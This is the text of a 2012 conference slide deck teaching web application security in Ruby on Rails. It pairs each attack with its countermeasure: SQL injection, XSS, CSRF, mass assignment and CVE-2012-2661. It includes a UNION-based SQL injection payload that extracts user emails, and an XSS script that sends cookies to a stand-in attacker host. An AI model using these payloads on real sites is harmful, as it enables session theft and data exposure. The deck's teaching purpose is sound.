Web Application Security in Rails

WEB APPLICATION
SECURITY IN RAILS
Uri Nativ
RailsIsrael 2012

Uri Nativ
@unativ

Head of Engineering
Klarna Tel Aviv

#railsisrael

Buy Now, Pay Later

1.  Shop online
2.  Receive your goods
3.  Pay

Alice and Bob

Like Duh?

Alice and Bob

<html>
<title> #$@#
MicroBlogging %#@&*#$
</title>
...

Alice and Bob

Hack it!

SQL Injection

@results = Micropost.where(
"content LIKE '%#{params[:query]%’”).all

SELECT 'microposts'.*
FROM 'microposts’
WHERE (content LIKE ’%SEARCHSTRING%’)

SQL Injection

FROM 'microposts'
WHERE (content LIKE '%SEARCHSTRING%')

XXX')
UNION
SELECT 1, email, 1, 1, 1
FROM users --

SQL Injection

FROM 'microposts'
WHERE (content LIKE '%XXX')
UNION
SELECT 1, email, 1, 1, 1
FROM users -- %')

SQL Injection - countermeasures

@results = Micropost.where(
"content LIKE ?’, "%#{params[:query]}%”)
).all

XSS

<span class="content">
<%= raw feed_item.content %>
</span>

XSS

<script>
document.write('<img src=
"http://www.attacker.com/x.png?' +
document.cookie + ’”
>');
</script>

XSS - countermeasures

<span class="content">
<%= sanitize feed_item.content,
:tags => ['a’]
%>
</span>

XSS
The Attack:
Execute arbitrary code / defacement
JSON is not escaped by default
CSS can be injected as well

Countermeasures:
Never trust data from the users
Use Markdown (e.g. Redcarpet gem)

CROSS CSRF

SITE
REQUEST
FORGERY

CSRF
www.blog.com www.freeiPad.com

<form name=“evilform”
action=“www.blog.com/….”>
…
<script>
document.evilform.submit()
</script>

2
Click
here for
free iPad

CSRF

<form name=“evilform”
action=“www.blog.com/….”>
…
<script>
3 </script>

CSRF

POST /blogpost <form name=“evilform”
Content=“Kick Me!” action=“www.blog.com/….”>
…
<script>
4 </script>

CSRF – Authenticity Token

<input
name ="authenticity_token”
type ="hidden”
value ="vyFdEgofzU4oSJJn5wypxq4“
/>

CSRF

routes.rb

match '/delete_post/:id',
to: 'microposts#destroy'

CSRF

class ApplicationController <
ActionController::Base

# commented to easily test forms
# protect_from_forgery
...
end

CSRF
The Attack:
Attacker send requests on the victim’s behalf
Doesn’t depend on XSS
Attacked doesn’t need to be logged-in

Countermeasures:
Use Rails CSRF default protection (do not override it)
Use GET for queries
Use POST/DELETE/… when updating data
Add Sign-out link

MASS boo[gotcha!]

ASSIGNMENT

Mass Assignment

def create
@user = User.new(params[:user])

...
end

Mass Assignment

def create
@user = User.new(params[:user])

...
end

{ :name => “gotcha”,
:admin => true }

Mass Assignment - countermeasures

Blacklist

class User < ActiveRecord::Base
attr_protected :admin
...

end


Whitelist

class User < ActiveRecord::Base
attr_accessible
:name,
:email,
:password,
:password_conﬁrmation
...


Global Conﬁg (whitelist)

conﬁg.active_record.
whitelist_attributes = true

Mass Assignment
The Attack:
Unprotected by default :(

Countermeasures:
Whitelist
Blacklist
Strong Parameters (whitelist)
Rails 4
Logic moved to the controller
Available as a Gem

SQL INJECTION
VULNERABILITY IN
RUBY ON RAILS
(CVE-2012-2661)

CVE-2012-2661 SQL Injection

User.where(
:id => params[:user_id],
:reset_token => params[:token]
)

SELECT users.*
FROM users
WHERE users.id = 6
AND users.reset_token = ’XYZ'
LIMIT 1


/users/6/password/edit?token[]

SELECT users.*
FROM users
WHERE users.id = 6
AND users.reset_token IS NULL
LIMIT 1

The Attack:
SQL Injection - Aﬀected version: Rails < 3.2.4

Countermeasures:
Upgrade to Rails 3.2.4 or higher

Brakeman

-------------------------------------------------
| Warning Type | Total |
-------------------------------------------------
| Cross Site Scripting |2 |
| Cross-Site Request Forgery | 1 |
| Denial of Service |1 |
| Redirect |1 |
| SQL Injection |4 |
-------------------------------------------------

Conclusions
Know the threats – OWASP top 10

Follow Rails conventions

Ruby on Rails Security Guide
http://guides.rubyonrails.org/security.html

The Ruby on Rails security project
http://www.rorsecurity.info

Rails security mailing list:
http://groups.google.com/group/rubyonrails-security

Thanks to…
Daniel Amselem for pair programming

Irit Shainzinger for the cool graphics

Michael Hartl for his microblogging app tutorial

Pay Online – Safer and Simpler

https://github.com/unativ/sample_app

Web Application Security in Rails

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

En vedette

En vedette (11)

Similaire à Web Application Security in Rails

Similaire à Web Application Security in Rails (20)

Dernier

Dernier (20)

Web Application Security in Rails

Notes de l'éditeur